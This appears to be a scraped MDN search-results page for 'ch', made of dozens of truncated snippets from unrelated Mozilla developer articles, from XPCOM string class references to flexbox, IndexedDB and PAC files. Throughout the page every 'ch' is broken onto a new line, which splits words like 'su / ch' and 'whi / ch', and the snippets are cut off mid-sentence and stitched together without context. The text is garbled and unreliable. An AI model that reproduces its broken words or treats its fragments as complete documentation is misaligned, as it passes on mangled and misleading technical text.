char* data pruint32 storagesize pruint32 length operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(
char) - source parameters
char c nsacstring_internal& operator=(const
char*) - source parameters
char* data nsacstring_internal& operator=(const nsacstring_internal&) - source ...
...And 34 more matches
nsPromiseFlatCString
class declaration method overview constructors operator= get find rfind rfind
char find
charinset rfind
charinset compare equalsignorecase tofloat tointeger mid left right set
charat strip
chars stripwhitespace replace
char replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(...
...
char assign assignascii assignliteral(const
char assignliteral(
char adopt replace replaceascii append appendascii appendliteral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nscstring data members no public members.
... methods constructors void nspromiseflatcstring(const nsacstring_internal&) - source parameters nsacstring_internal& str void nspromiseflatcstring(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(
char) - source parameters
char c nsacstring_internal& operator=(const
char*) - source parameters
char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get
char* get() const - source returns the null-terminated string find print32 find(const ns...
...And 34 more matches
Examine and edit HTML - Firefox Developer Tools
this shows the complete hierar
chy through the document for the bran
ch containing the selected element: hovering over a breadcrumb highlights that element in the page.
... sear
ching the page inspector's sear
ch box mat
ches all markup in the current document and in any frames.
... to start sear
ching the markup, click in the sear
ch box to expand it or press ctrl + f , or cmd + f on a mac.
...And 34 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
these
characters allow you to format your code in a way that will make it easily readable by yourself and other people.
... in fact, mu
ch of our source code is full of these whitespace
characters, and we only tend to get rid of it in a production build step to reduce code download sizes.
... in the case of html, whitespace is largely ignored — whitespace in between words is treated as a single
character, and whitespace at the start and end of elements and outside elements is ignored.
...And 33 more matches
IDBTransaction - Web APIs
the idbtransaction interface of the indexeddb api provides a static, asyn
chronous transaction on a database using event handler attributes.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbtransaction" target="_top"><rect x="151" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">idbtransaction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} transactions are started when the transaction is created, not when the first request is placed; for example consider this: var trans1 = db.transaction("foo", "readwrite"); var trans2 = db.transaction("foo", "readwrite"); var objectstore2 = trans2.objectstore("foo") var objectstore1 = trans1.objectstore("foo") objectstore2.put("2", "key"); objectstore1.put("1", "key"); after the code is executed the object store should contain the value "2", since trans2 should run after trans1.
...And 33 more matches
Color picker tool - CSS: Cascading Style Sheets
mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .preview:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .preview-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .swit
ch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .swit
ch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; ...
...llapsed='true'] { height: 0 !important; } .block { display: table; } /** * container */ #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; display: table; } /** * picker zone */ #picker { padding: 10px; width: 980px; } .ui-color-picker { padding: 3px 5px; float: left; border-color: #fff; } .ui-color-picker .swit
ch_mode { display: none; } .ui-color-picker .preview-color:hover { cursor: move; } /** * picker container */ #picker-samples { width: 375px; height: 114px; max-height: 218px; margin: 0 10px 0 30px; overflow: hidden; position: relative; float: left; transition: all 0.2s; } #picker-samples .sample { width: 40px; height: 40px; margin: 5px; border: 1px solid #ddd; position: absolut...
...add-icon:before { width: 70%; height: 16%; top: 42%; left: 15%; } #picker-samples #add-icon:after { width: 16%; height: 70%; top: 15%; left: 42%; } #picker-samples #add-icon:hover:before, #picker-samples #add-icon:hover:after { background-color: #ddd; box-shadow: 0 0 1px 0 #ddd; } /** * controls */ #controls { width: 110px; padding: 10px; float: right; } #controls #picker-swit
ch { text-align: center; float: left; } #controls .icon { width: 48px; height: 48px; margin: 10px 0; background-repeat: no-repeat; background-position: center; border: 1px solid #ddd; display: table; float: left; } #controls .icon:hover { cursor: pointer; } #controls .picker-icon { background-image: url('https://mdn.mozillademos.org/files/6081/picker.png'); } #controls #void-sample {...
...And 33 more matches
Index - Developer guides
found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web te
chnologies and apis.
... 2 ajax ajax, dom, json, javascript, references, xmlhttprequest asyn
chronous javascript and xml, while not a te
chnology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approa
ch to using a number of existing te
chnologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 4 getting started ajax, api, advanced, javascript, webme
chanics, xmlhttprequest this article guides you through the ajax basics and gives you some simple hands-on examples to get you started.
...And 33 more matches
Proxy Auto-Configuration (PAC) file - HTTP
in
chrome (versions 52 to 73), you can disable this by setting pa
chttpsurlstrippingenabled to false in policy or by laun
ching with the --unsafe-pac-url command-line flag (in
chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of
chrome 81, path-stripping does not apply to http urls, but there is interest in
changing this behavior to mat
ch https); in firefox...
...name and/or subnets.) predefined functions and environment these functions can be used in building the pac file: hostname based conditions isplainhostname() dnsdomainis() localhostordomainis() isresolvable() isinnet() related utility functions dnsresolve() convert_addr() myipaddress() dnsdomainlevels() url/hostname based conditions shexpmat
ch() time based conditions weekdayrange() daterange() timerange() logging utility alert() there was one associative array (object) already defined, because at the time javascript code was unable to define it by itself: proxyconfig.bindings note: pactester (part of the pacparser package) was used to test the following syntax examples.
... description returns true if and only if the domain of hostname mat
ches.
...And 33 more matches
What is accessibility? - Learn web development
we traditionally think of this as being about people with disabilities, but the practice of making sites accessible also benefits other groups su
ch as those using mobile devices, or those with slow network connections.
...just as it is wrong to exclude someone from a physical building because they are in a wheel
chair (modern public buildings generally have wheel
chair ramps or elevators), it is also not right to exclude someone from a website because they have a visual impairment.
...providing accessible sites is part of the law in some countries, whi
ch can open up some significant markets that otherwise would not be able to use your services or buy your products.
...And 32 more matches
Tips for authoring fast-loading HTML pages - Learn web development
this can be crucial for high volume sites or sites whi
ch have a spike in traffic due to unusual circumstances su
ch as breaking news stories.
... optimizing page load performance is not just for content whi
ch will be viewed by narrowband dial-up or mobile device visitors.
... reducing page weight through the elimination of unnecessary whitespace and comments, commonly known as minimization, and by moving inline script and css into external files, can improve download performance with minimal need for other
changes in the page structure.
...And 32 more matches
HTML table basics - Learn web development
overview: tables next this article gets you started with html tables, covering the very basics su
ch as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes.
... tables are very commonly used in human society, and have been for a long time, as evidenced by this us census document from 1800: it is therefore no wonder that the creators of html provided a means by whi
ch to structure and present tabular data on the web.
...this was commonly used because css support across browsers used to be terrible; table layouts are mu
ch less common nowadays, but you might still see them in some corners of the web.
...And 32 more matches
Object building practice - Learn web development
objective: to get some practice with using objects and object-oriented te
chniques in a real world context.
...our little balls will bounce around on the screen, and
change color when they tou
ch ea
ch other.
...along the way we'll make use of some nifty objects, and show you a couple of nice te
chniques like bouncing balls off walls, and
checking whether they have hit ea
ch other (otherwise known as collision detection).
...And 32 more matches
Introduction to the server side - Learn web development
in this first article, we look at server-side programming from a high level, answering questions su
ch as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?".
... it can even allow interaction with users of the site, sending notifications and updates via email or through other
channels.
... all of these capabilities enable mu
ch deeper engagement with users.
...And 32 more matches
Understanding client-side JavaScript frameworks - Learn web development
as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to
choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks.
...we are not aiming to exhaustively tea
ch you everything you need to know about react/reactdom, or vue, or some other specific framework; the framework teams' own docs (and other resources) do that job already.
... instead, we want to back up and first answer more fundamental questions su
ch as: why should i use a framework?
...And 32 more matches
Debugging on Mac OS X
this document explains how to debug mozilla-derived applications su
ch as firefox, thunderbird, and seamonkey on macos using xcode.
...macos 10.15 went further, requiring applications to be notarized with hardened runtime enabled in order to laun
ch (ignoring workarounds.) when run on earlier macos versions, notarization and hardened runtime settings have no effect.
...as a result, it is not possible to atta
ch a debugger to these official firefox releases on macos 10.14+ without disabling system integrity protection (sip).
...And 32 more matches
nsIZipReader
inherits from: nsisupports last
changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/zip-reader;1.
... to create an instance, use: var zipreader = components.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about
character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, su
ch as utf-8.
... this can mismat
ch characters in the nsizipreader api.
...And 32 more matches
Storage
the api is currently "unfrozen", whi
ch means it is subject to
change at any time; in fact, it has
changed somewhat with ea
ch release of firefox since it was introduced, and will likely continue to do so for a while.
... note: storage is not the same as the dom:storage feature whi
ch can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions).
... open a connection to the database of your
choice - mozistorageconnection.
...And 32 more matches
Using XPCOM Components
in fact, virtually all of the functionality that you associate with a browser - navigation, window management, managing cookies, bookmarks, security, sear
ching, rendering, and other features - is defined in xpcom components and accessed by means of those component interfaces.
... this
chapter demonstrates how mozilla uses some of these xpcom objects, su
ch as the cookiemanager, and shows how access to the weblock component will be defined.
... the functionality of the cookiemanager component is available through the nsicookiemanager interface, whi
ch is comprised of the public methods in the table below.
...And 29 more matches
NS ConvertASCIItoUTF16 external
class declaration method overview constructors get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find ...
... rfind find
char rfind
char appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void ns_convertasciitoutf16_external(const nsacstring&) - source parameters nsacstring& astr void ns_convertasciitoutf16_external(const
char*, pruint32) - source parameters
char* adata pruint32 alength get pruni
char* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const pruni
char*) - source parameters pruni
char* aptr nsastring& operator=(pruni
char) - sourc...
...And 29 more matches
NS ConvertUTF8toUTF16 external
class declaration method overview constructors get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find ...
... rfind find
char rfind
char appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void ns_convertutf8toutf16_external(const nsacstring&) - source parameters nsacstring& astr void ns_convertutf8toutf16_external(const
char*, pruint32) - source parameters
char* adata pruint32 alength get pruni
char* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const pruni
char*) - source parameters pruni
char* aptr nsastring& operator=(pruni
char) - source ...
...And 29 more matches
nsDependentString external
class declaration dependent strings method overview constructors rebind get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowe...
...rcaseequalsliteral find rfind find
char rfind
char appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void nsdependentstring_external() - source void nsdependentstring_external(const pruni
char*, pruint32) - source parameters pruni
char* adata pruint32 alength rebind void rebind(const pruni
char*, pruint32) - source parameters pruni
char* adata pruint32 alength get pruni
char* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const pruni
char*) - source pa...
...And 29 more matches
nsDependentSubstring external
class declaration substrings method overview constructors rebind beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare(const pruni
char*, print32 (*) compare(const nsastring&, print32 (*) equals(const pruni
char*, print32 (*) equals(const nsastring&, print32 (*) operator< operator...
...<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find(const nsastring&, print32 (*) find(const nsastring&, pruint32, print32 (*) find rfind(const nsastring&, print32 (*) rfind(const nsastring&, print32, print32 (*) rfind find
char rfind
char appendint tointeger base classes nsstringcontainer data members no public members.
... methods constructors void nsdependentsubstring_external() - source void nsdependentsubstring_external(const pruni
char*, pruint32) - source parameters pruni
char astart pruint32 alength void nsdependentsubstring_external(const nsastring&, pruint32) - source parameters nsastring astr pruint32 astartpos void nsdependentsubstring_external(const nsastring&, pruint32, pruint32) - source parameters nsastring astr pruint32 astartpos pruint32 alength rebind void rebind(const pruni
char*, pruint32) - source parameters pruni
char astart pruint32 alength beginreading pruint32 beginreadi...
...And 29 more matches
nsString external
class declaration basic strings method overview constructors get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral ...
... find rfind find
char rfind
char appendint tointeger base classes nsstringcontainer data members no public members.
... methods constructors void nsstring_external() - source void nsstring_external(const nsstring_external&) - source parameters nsstring_external& astring void nsstring_external(const nsastring&) - source parameters nsastring& areadable void nsstring_external(const pruni
char*, pruint32) - source parameters pruni
char* adata pruint32 alength get pruni
char* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astrin...
...And 29 more matches
nsINavBookmarkObserver
toolkit/components/places/nsinavbookmarksservice.idlscriptable this interface is an observer for bookmark
changes.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) method overview void onbeforeitemremoved(in long long aitemid, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); obsolete since gecko 21.0 void onbeginupdatebat
ch(); void onendupdatebat
ch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolder
changed(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 folder, in print64 oldparent, in print32 oldindex, in print64 newparent, in print32 newindex); obsolete since gecko 1.9 ...
... void onfolderremoved(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onitemadded(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); void onitem
changed(in long long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); void onitemmoved(in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, i...
...And 29 more matches
nsIURI
inherits from: nsisupports last
changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, su
ch as nsiurl, impose further structure on the uri.
... to create an nsiuri object, you should use nsiioservice.newuri(), like this: function makeuri(aurl, aorigin
charset, abaseuri) { var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); return ioservice.newuri(aurl, aorigin
charset, abaseuri); } components of a uri prepath path s
cheme userpass host port ref ftp :// username@password @ hostname : portnumber /pathname?query=value #ref method overview nsiuri clone(); nsiuri cloneignoringref(); boolean equals(in nsiuri other); boolean equalsexceptref(in nsiuri other); autf8string resolve(in autf8string relativepath...
...); boolean s
chemeis(in string s
cheme); attributes attribute type description asciihost acstring the uri host with an ascii compatible encoding.
...And 29 more matches
FileSystemEntry - Web APIs
check the browser compatibility section for details.
...this interface serves as a base class for the filesystemfileentry and filesystemdirectoryentry interfaces, whi
ch provide features specific to file system entries representing files and directories, respectively.
...it also introduces a new url s
cheme: filesystem:.
...And 29 more matches
IDBIndex - Web APIs
idbindex interface of the indexeddb api provides asyn
chronous access to an index in a database.
...ea
ch record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store.
... when the object store
changes, all indexes that refers to the object store are automatically updated.
...And 29 more matches
Node - Web APIs
the dom node interface is an abstract base class upon whi
ch many other dom api objects are based, thus letting those object types to be used similarly and often inter
changeably.
... as an abstract class, there is no su
ch thing as a plain node object.
...these include attr,
characterdata (whi
ch text, comment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference.
...And 29 more matches
Using Pointer Events - Web APIs
this guide demonstrates how to use pointer events and the html <canvas> element to build a multi-tou
ch enabled drawing application.
... this example is based on the one in the tou
ch events overview, except it uses the pointer events input event model.
... definitions surface a tou
ch-sensitive surface.
...And 29 more matches
Using the Screen Capture API - Web APIs
this works with at least
chrome, edge, and firefox.
... capturing screen contents capturing screen contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), whi
ch returns a promise that resolves to a stream containing the live screen contents.
... starting screen capture: async/await style async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } cat
ch(err) { console.error("error: " + err); } return capturestream; } you can write this code either using an asyn
chronous function and the await operator, as shown above, or using the promise directly, as seen below.
...And 29 more matches
Web Authentication API - Web APIs
this resolves significant security problems related to phishing, data brea
ches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).
... in their most basic forms, both create() and get() receive a very large random number called a
challenge from the server and they return the
challenge signed by the private key back to the server.
...the authenticator may be embedded into an operating system, su
ch as windows hello, or may be a physical token, su
ch as a usb or bluetooth security key.
...And 29 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
this article gives an outline of the main features of flexbox, whi
ch we will be exploring in more detail in the rest of these guides.
...this can be contrasted with the two-dimensional model of css grid layout, whi
ch controls columns and rows together.
... the main axis the main axis is defined by flex-direction, whi
ch has four possible values: row row-reverse column column-reverse should you
choose row or row-reverse, your main axis will run along the row in the inline direction.
...And 29 more matches
Embedding the editor
note here that i use the term 'composer' to mean an html-savvy compose widget that does ri
ch text editing, and 'editor' to mean a plain text editor (as well as the underlying te
chnology for composer).
... <htmlarea> is intended as a shorthand for a ri
ch-text multiline text widget embedded in an html document, and is not meant to infer that future versions of mozilla will support this specific tag.
...composer embedded in a native application in this application, the <iframe> on whi
ch the editor lives is embedded directly in the native application; this is equivalent to embedding the browser via nsiwebbrowser, but instead having an editable document.
...And 27 more matches
Script security
this page provides an overview of the script security ar
chitecture in gecko.
...the security model for web content is based on the same-origin policy, in whi
ch code gets full access to objects from its origin but highly restricted access to objects from a different origin.
...this javascript code, whi
ch is commonly referred to as
chrome code, runs with system privileges.
...And 27 more matches
AsyncTestUtils extended framework
the asynctestutils extended framework is one me
chanism for testing the mailnews component of thunderbird.
... see mailnews automated testing for a description of the other testing me
chanisms.
...two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("../../mailnews/resources/mailtestutils.js"); at the bottom of the test file, add the following: var tests =[ // list your tests here ]; function run_test() { configure_message_injection({mode: "local"}); async_run_tests(tests); } asyn
chronous testing basics why do we need it?
...And 27 more matches
Optimizing Applications For NSPR
this has proven to be quite
challenging, a
challenge that was met to a large degree, but there is always room for improvement.
...the only exception to this rule is the <tt>select()</tt> and <tt>poll()</tt> system calls on unix, both of whi
ch nspr has overridden to make sure they are aware of the nspr local threads.
... in the combined (mxn) model, whi
ch includes nt, irix (sprocs), and pthreads-user, the primordial thread is always a local thread.
...And 27 more matches
NS ConvertUTF16toUTF8 external
class declaration method overview constructors get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char ...
... rfind
char appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void ns_convertutf16toutf8_external(const nsastring&) - source parameters nsastring& astr void ns_convertutf16toutf8_external(const pruni
char*, pruint32) - source parameters pruni
char* adata pruint32 alength get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const
char*) - source parameters
char* aptr nsacstring& operator=(
char) - source ...
...And 27 more matches
NS LossyConvertUTF16toASCII external
class declaration method overview constructors get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char ...
... rfind
char appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void ns_lossyconvertutf16toascii_external(const nsastring&) - source parameters nsastring& astr void ns_lossyconvertutf16toascii_external(const pruni
char*, pruint32) - source parameters pruni
char* adata pruint32 alength get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const
char*) - source parameters
char* aptr nsacstring& operator=(
char) -...
...And 27 more matches
nsAString (External)
class declaration this header provides wrapper classes around the frozen string api whi
ch are roughly equivalent to the internal string classes.
..._convertasciitoutf16_external"> <area alt="" coords="491,294,733,342" href="http://developer.mozilla.org/en/ns_convertutf8toutf16_external" shape="rect" title="ns_convertutf8toutf16_external"> <area alt="" coords="757,294,869,342" href="http://developer.mozilla.org/en/nsliteralstring_(external)" shape="rect" title="nsliteralstring_(external)"> </map> method overview beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequ...
...alsliteral find rfind find
char rfind
char appendint tointeger data members no public members.
...And 27 more matches
nsCString external
class declaration method overview constructors get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char ...
... rfind
char appendint tointeger base classes nscstringcontainer data members no public members.
... methods constructors void nscstring_external() - source void nscstring_external(const nscstring_external&) - source parameters nscstring_external& astring void nscstring_external(const nsacstring&) - source parameters nsacstring& areadable void nscstring_external(const
char*, pruint32) - source parameters
char* adata pruint32 alength get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring...
...And 27 more matches
nsDependentCString external
class declaration method overview constructors rebind get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind ...
... find
char rfind
char appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void nsdependentcstring_external() - source void nsdependentcstring_external(const
char*, pruint32) - source parameters
char* adata pruint32 alength rebind void rebind(const
char*, pruint32) - source parameters
char* adata pruint32 alength get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const
char*) - source parameters
ch...
...And 27 more matches
nsDependentCSubstring external
class declaration method overview constructors rebind beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char rfi...
...nd
char appendint tointeger base classes nscstringcontainer data members no public members.
... methods constructors void nsdependentcsubstring_external() - source void nsdependentcsubstring_external(const
char*, pruint32) - source parameters
char* astart pruint32 alength void nsdependentcsubstring_external(const nsacstring&, pruint32) - source parameters nsacstring& astr pruint32 astartpos void nsdependentcsubstring_external(const nsacstring&, pruint32, pruint32) - source parameters nsacstring& astr pruint32 astartpos pruint32 alength rebind void rebind(const
char*, pruint32) - source parameters
char* astart pruint32 alength beginreading pruint32 beginreading(const...
...And 27 more matches
nsLiteralCString (External)
class declaration method overview rebind get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char ...
... rfind
char appendint tointeger base classes nscstring_external data members no public members.
... methods rebind void rebind(const
char*, pruint32) - source parameters
char* adata pruint32 alength get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const
char*) - source parameters
char* aptr nsacstring& operator=(
char) - source parameters
char a
char adopt void adopt(const
char*, pruint32) - source parameters
char* adata pruin...
...And 27 more matches
nsLiteralString (External)
class declaration method overview rebind get operator= adopt beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind find
char ...
... rfind
char appendint tointeger base classes nscstring_external data members no public members.
... methods rebind void rebind(const
char*, pruint32) - source parameters
char* adata pruint32 alength get
char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const
char*) - source parameters
char* aptr nsacstring& operator=(
char) - source parameters
char a
char adopt void adopt(const
char*, pruint32) - source parameters
char* adata pruin...
...And 27 more matches
nsStringContainer (External)
class declaration method overview beginreading endreading
charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate strip
chars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind find
char rfind
char...
...methods beginreading pruint32 beginreading(const pruni
char**, const pruni
char**) const - source returns the length, beginning, and end of a string in one operation.
... parameters pruni
char** begin pruni
char** end pruni
char* beginreading() const - source endreading pruni
char* endreading() const - source
charat pruni
char
charat(pruint32) const - source parameters pruint32 apos operator[] pruni
char operator[](pruint32) const - source parameters pruint32 apos first pruni
char first() const - source beginwriting pruint32 beginwriting(pruni
char**, pruni
char**, pruint32) - source get the length, begin writing, and optionally set the length of a string all in one operation.
...And 27 more matches
nsIWebBrowserPersist
inherits from: nsicancelable last
changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1.
... to create an instance, use: var webbrowserpersist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"] .createinstance(components.interfaces.nsiwebbrowserpersist); method overview void cancelsave(); void save
channel(in nsi
channel a
channel, in nsisupports afile); void savedocument(in nsidomdocument adocument, in nsisupports afile, in nsisupports adatapath, in string aoutputcontenttype, in unsigned long aencodingflags, in unsigned long awrapcolumn); void saveuri(in nsiuri auri, in nsisupports aca
chekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in nsiloadcontext aprivacycontext); void saveprivacyawareuri(in nsiuri aur...
...i, in nsisupports aca
